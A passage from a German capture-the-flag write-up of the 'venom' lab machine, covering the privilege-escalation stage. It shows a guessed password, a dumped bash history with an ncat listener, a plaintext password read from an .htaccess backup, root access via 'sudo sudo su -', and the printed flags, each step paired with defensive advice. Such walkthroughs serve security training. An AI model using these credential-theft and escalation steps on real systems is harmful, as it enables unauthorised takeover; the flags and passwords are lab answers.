Bewertung: Der Wechsel ist erfolgreich. Der Pentester hat nun die Rechte des Benutzers `hostinger`.
Empfehlung (Offensiv): Als `hostinger` weiter enumerieren, insbesondere die Bash-History und Konfigurationsdateien prüfen.
Empfehlung (Defensiv): Benutzerpasswörter sollten nicht wiederverwendet oder leicht zu erraten sein.

www-data@venom:/home$ su hostinger
Password: hostinger
hostinger@venom:/home$

Privilege Escalation

Analyse: Als Benutzer `hostinger` wird die Bash-History (`cat .bash_history`) ausgelesen.
Bewertung: Die History enthält viele interessante Befehle, die auf frühere Aktivitäten oder Versuche hindeuten:

Empfehlung (Offensiv): Den Befehl `cat /var/www/html/subrion/backup/.htaccess` selbst ausführen, um das darin enthaltene Passwort zu extrahieren.
Empfehlung (Defensiv): Sensible Daten wie Passwörter nicht in Konfigurationsdateien (.htaccess) im Klartext speichern. Bash-History kann sensible Befehle enthalten.

hostinger@venom:~$ cat .bash_history
cd nathan
cd ..
ls -al
su
sudo -l
clear
sudo su
clear
ls -al
clear
sudo nano /etc/sudoers
su
su nathan
cd ..
cd backup/
ls
cat .htaccess
su nathan
exit
find / -perm -u=s -type f 2>/dev/null
su nathan
exit
ncat -lnvp 1234
cd /usr
ls -al
./check_me
nano check_me.py
clear
./check_me
sudo su
su
su nathan
find raj -exec "whoami" \;
clear
sudo su
su root
find raj -exec "whoami" \;
su root
find raj -exec "whoami" \;
su root
which find
find nc
find find
cd /tmp
ls
touch raj
find raj -exec "whoami" \;
cat  /var/www/html/subrion/backup/.htaccess
su nathan
lls
s
ls
cat check_me.py
su nathan
cat /var/www/html/subrion/backup/.htaccess
su
clear
su nathan
s
ls
ls -al
cat check_me.py
ls -al
su
ls
cat check_me.py
ls -al
su nathan
su

Analyse: Der Befehl zum Auslesen der `.htaccess`-Datei wird ausgeführt.
Bewertung: Die Datei enthält neben einer `allow from all`-Direktive und einer Nachricht das Passwort für den Benutzer `nathan`: `FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a`.
Empfehlung (Offensiv): Dieses Passwort verwenden, um mit `su nathan` zum Benutzer `nathan` zu wechseln.
Empfehlung (Defensiv): Niemals Passwörter im Klartext in `.htaccess` oder anderen Web-zugänglichen oder leicht lesbaren Dateien speichern.

hostinger@venom:~$ cat /var/www/html/subrion/backup/.htaccess
allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a

Analyse: Mit `su nathan` und dem gerade gefundenen Passwort wird versucht, zum Benutzer `nathan` zu wechseln.
Bewertung: Der Wechsel ist erfolgreich. Der Pentester hat nun die Berechtigungen des Benutzers `nathan`.
Empfehlung (Offensiv): Die Rechte von `nathan` prüfen, insbesondere `sudo -l`.
Empfehlung (Defensiv): Starke, einzigartige Passwörter verwenden und diese sicher speichern.

hostinger@venom:~$ su nathan
Password: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
nathan@venom:/home/hostinger$

Analyse: Als Benutzer `nathan` wird der Befehl `sudo sudo su -` ausgeführt.
Bewertung: Dieser Befehl funktioniert und liefert eine Root-Shell (`root@venom:~#`). Dies deutet auf eine schwerwiegende Fehlkonfiguration in der `sudoers`-Datei hin. Offensichtlich darf der Benutzer `nathan` den Befehl `sudo` selbst mittels `sudo` ausführen (`sudo sudo ...`), was ihm erlaubt, jeden beliebigen Befehl als Root auszuführen, hier `su -` zum Starten einer Root-Login-Shell.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen einer unsicheren Sudo-Regel wurden volle Root-Rechte erlangt.
Empfehlung (Offensiv): Root-Rechte zur Erfüllung der Ziele nutzen.
Empfehlung (Defensiv): Die `sudoers`-Datei dringend überprüfen und korrigieren. Einem Benutzer niemals erlauben, `sudo` selbst mit `sudo` auszuführen. Das Prinzip der geringsten Rechte strikt anwenden.

nathan@venom:/home/hostinger$ sudo sudo su -
root@venom:~#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (Sudo Misconfiguration)

Schwachstelle: Unsichere Konfiguration der `sudoers`-Datei, die dem Benutzer `nathan` erlaubt, den Befehl `/usr/bin/sudo` (oder ein Äquivalent) mit `sudo` auszuführen.
Ziel des POC: Nachweis, dass diese Konfiguration es `nathan` ermöglicht, beliebige Befehle als `root` auszuführen und somit Root-Rechte zu erlangen.
Voraussetzungen: Zugriff auf das System als Benutzer `nathan`. Die fehlerhafte `sudoers`-Konfiguration.

Schritt 1: Identifizierung der Schwachstelle

Analyse: Obwohl der Befehl `sudo -l` für `nathan` im Bericht nicht explizit gezeigt wird, deutet der erfolgreiche Befehl `sudo sudo su -` darauf hin, dass `nathan` in der `/etc/sudoers`-Datei eine Regel ähnlich wie `nathan ALL=(ALL:ALL) /usr/bin/sudo` oder sogar `nathan ALL=(ALL:ALL) ALL` haben muss. Die spezifische Regel, die `sudo sudo` erlaubt, ist der Kern der Schwachstelle.
Bewertung: Einem Benutzer zu erlauben, `sudo` mit `sudo` auszuführen, ist äquivalent dazu, ihm uneingeschränkten Root-Zugriff zu gewähren, da er `sudo` nutzen kann, um jeden anderen Befehl als Root zu starten.

Schritt 2: Ausführung des Exploits

Analyse: Der Befehl `sudo sudo su -` wird ausgeführt.
Bewertung:

Das Ergebnis ist eine interaktive Root-Shell.
Ergebnis des POC: Die unsichere `sudoers`-Regel wurde erfolgreich ausgenutzt, um eine Root-Shell zu erhalten und somit vollständige administrative Kontrolle über das System zu erlangen.
Risikobewertung: Kritisch. Ermöglicht einem lokalen Benutzer die vollständige Kompromittierung des Systems.
Empfehlung (Defensiv): Die `sudoers`-Datei sorgfältig prüfen und alle Regeln entfernen, die es Benutzern erlauben, `sudo` selbst oder andere Befehle, die zur Privilegieneskalation missbraucht werden können, auszuführen. Das Prinzip der geringsten Rechte strikt anwenden. Regelmäßige Audits der `sudoers`-Konfiguration.

Flags

Analyse: Nach Erlangung der Root-Rechte wird das Root-Home-Verzeichnis (`/root`) aufgelistet und die Datei `root.txt` ausgelesen. Anschließend wird die `user.txt` im Home-Verzeichnis von `nathan` gelesen.
Bewertung: Beide Flags werden erfolgreich gefunden und angezeigt.

root@venom:~# cat /home/nathan/user.txt
W3_@r3_V3n0m:P
root@venom:~# ls
root.txt  snap
root@venom:~# cat root.txt
H@v3_a_n1c3_l1fe.